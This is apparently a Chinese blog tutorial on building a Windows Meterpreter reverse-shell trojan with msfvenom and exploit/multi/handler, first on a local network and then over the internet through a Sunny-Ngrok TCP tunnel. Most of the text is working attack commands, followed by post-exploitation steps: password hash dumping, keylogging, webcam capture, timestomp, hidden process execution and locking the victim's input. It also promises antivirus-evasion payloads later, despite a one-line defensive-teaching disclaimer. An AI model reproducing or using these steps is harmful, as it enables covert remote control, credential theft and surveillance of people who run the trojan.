Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。

Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。

一、(内网渗透)内网英文缩写LAN;内网又称局域网

局域网的覆盖范围一般是方圆几千米之内,其具备的安装便捷、成本节约、扩展方便等特点使其在各类办公室内运用广泛。局域网可以实现文件管理、应用软件共享、打印机共享等功能,在使用过程当中,通过维护局域网网络安全,能够有效地保护资料安全,保证局域网网络能够正常稳定的运行。

使用MSF制作木马:

msf opthions:

-p, --payload 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用’-'或者stdin指定

-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, --nopsled 为payload预先指定一个NOP滑动长度

-f, --format 指定输出格式 (使用 —help-formats 来获取msf支持的输出格式列表)

-e, --encoder [encoder] 指定需要使用的encoder(编码器)

-a, --arch 指定payload的目标架构

--platform 指定payload的目标平台

-s, --space 设定有效攻击荷载的最大长度

-b, --bad-chars 设定规避字符集,比如: ‘\x00\xff’

-i, --iterations 指定payload的编码次数

-c, --add-code 指定一个附加的win32 shellcode文件

-x, --template 指定一个自定义的可执行文件作为模板

-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行

--payload-options 列举payload的标准选项

-o, --out 保存payload

-v, --var-name 指定一个自定义的变量,以确定输出格式

--shellest 最小化生成payload

-h, —help 查看帮助选项

--help-formats 查看msf支持的输出格式列表

1、用ip a或者ifconfig查询kali 的ip

-p:指定payload脚本模块,lhost:指定传回本地kali的IP,(我本机kali地址为192.168.245.140)

lport:指定传回kali的端口,-f:输出文件类型,

-o:指定存放路径和要生成的脚本名称。

2、制作木马命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=xxxx.xxx.xxx lport=4444 -f exe -o /root/shell.exe 

在kali的root目录下把刚刚生成的脚本发给同一局域网下的Windows目标主机(如果是在虚拟机下测试虚拟机网络设置为NAT模式或者桥接模式这样kali和windows就处于同一局域网下;测试下windows是否能够ping通kali,两台主机不能够ping通的话受害机运行木马程序是不会反弹shell)

 3、打开MSF控制台

msfconsole

 4、设置payload,加载攻击模块设置本地IP和监听端口

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.245.140
set LPORT 4444

show options (查看IP端口设置情况)
run (开启监听)

等待目标主机执行木马反弹shell即可操控对方电脑

Metasploit脚本命令:

系统模块
Help:打开 Meterpreter 使用帮助
run scriptname:运行 Meterpreter 脚本,在 scripts/meterpreter 目录下可查看到所有脚本
use priv:加载特权提升扩展模块,来扩展 Meterpreter 库
getprivs:尽可能多地获取目标主机上的特权
per:通过各种攻击向量来提升到系统用户权限
shell : 以所有可用令牌来运行一个交互的shell
hashdump:导出目标主机中的口令哈希值
rev2self:回到控制目标主机的初始用户账户下
setdesktop number:切换到另一个用户界面(该功能基于哪些用户已登录)
screenshot:对目标主机的屏幕进行截图
background:将当前 Meterpreter shell 转为后台执行
quit:关闭当前Meterpreter会话,返回MSF终
webcam_list (查看有无摄像头)
webcam_snap (通过摄像头拍照)
webcam_stream (通过摄像头开启视频)
鼠标键盘模块
uictl开关键盘/鼠标
uictl disable mouse (禁用鼠标)
uictl disable keyboard(禁用键盘)

uictl enable mouse (启用鼠标)
uictl enable keyboard (启用键盘)
keyscan_start 针对目标主机开启键盘记录功能
keyscan_dump 存储目标主机上捕获的键盘记录
keyscan_stop 停止针对目标主机的键盘记录
uictl enable keyboard/mouse接管目标主机的键盘和鼠标
文件模块
ls列出目标主机的文件和文件夹信息
reg command在目标主机注册表中进行交互,创建、删除、查询等
upload file向目标主机上传文件
download file从目标主机下载文件
timestomp修改文件属性,例如修改文件的创建时间
例如:timestomp file1 -f file2将file1文件的时间信息设置得与file2文件完全一样
cat查看文件内容
getwd获得目标机上当前的工作目录
edit编辑目标机上的文件
search对目标机上的文件进行搜索,支持星号匹配,如
search -d c:\windows -f *.mdb
execute执行文件
execute (在目标机执行文件)
execute -f cmd.exe -H -i -t(创建新进程cmd.exe, -H不可见,-i交互)
shutdown -r (重启)
shutdown -p(立即关机)

二、(外网渗透)外网英文缩写WAN;外网又称广域网、公网。

外网是连接不同地区局域网或城域网计算机通信的远程网。通常跨接很大的物理范围,所覆盖的范围从几十公里到几千公里,它能连接多个地区、城市和国家,或横跨几个洲并能提供远距离通信,形成国际性的远程网络。广域网并不等同于互联网。

处于不同局域网的两台主机是不能够互相ping通的,所以必须将攻击者的ip映射到公网上,这样受害机运行木马才能够反弹shell。

内网穿透是我们在进行网络连接时的一种术语,也叫做NAT穿透,即在计算机是局域网内的时候,外网与内网的计算机的节点进行连接时所需要的连接通信,有时候就会出现内网穿透不支的情况。内网穿透的功能就是,当我们在端口映射时设置时,内网穿透起到了地址转换的功能,也就是把公网的地址进行翻译,转成为一种私有的地址,然后再采用路由的方式ADSL的宽带路由器,具有一个动态或者是固定的公网IP,最后ADSL直接在交换机上,这样所有的电脑都可以共享上网。内网穿透除了可以实现内网之间机器的网络通信功通之外。

一旦获得了对系统的访问权限,攻击者可以进行侦听,横向移动及尝试提升特权,达到窃取系统或数据库中敏感数据的目的,对服务器安全乃至内网安全的危害不言而喻。

这里我们到Sunny-Ngrok内网穿透服务使kali主机与Sunny-Ngrok公网服务器连接,这样处于不同局域网的主机访问Sunny-Ngrok给出的TCP隧道,数据将会传回kali主机。

 

Sunny-Ngrok提供免费内网穿透服务,免费服务器支持绑定自定义域名

1、进入Ngrok网站注册一个用户(Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器

 

 2、开通TCP隧道

 

 

 3、下载Ngrok客户端(Sunny-Ngrok内网转发

 

根据攻击机系统情况下载客户端版本(这里下载Linux 64bita版本)

把下载好的Ngrok压缩包存放到kali的root目录下

命令解压缩:unzip linux_amd64(压缩包名)

进入解压好的目录:

cd linux_amd64

启动隧道映射TCP服务:

./sunny clientid (隧道id)

4、MSF生成外网木马程序

 注意:这里lhost和lport分别为赠送的域名和端口

msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.com lport=10306 -f exe -o /root/shell.exe

lhost填TCP隧道上面的域名,lport填TCP域名后面的端口

5、打开msf设置payload,加载攻击模块设置本地IP和监听端口

msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.245.140
set LPORT 4444

show options (查看IP端口设置情况)
run (开启监听)

 6、转发生成的木马程序给目标机运行-目标机运行木马-反弹shell-操控目标机

7、对目标主机进行截图看看对方电脑正在干什么

screenshot

 root目录下查看截图

 

该教程仅用于信息防御技术教学请勿用于其他用途

后续更新免杀payload木马程序,过360、火绒。 

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐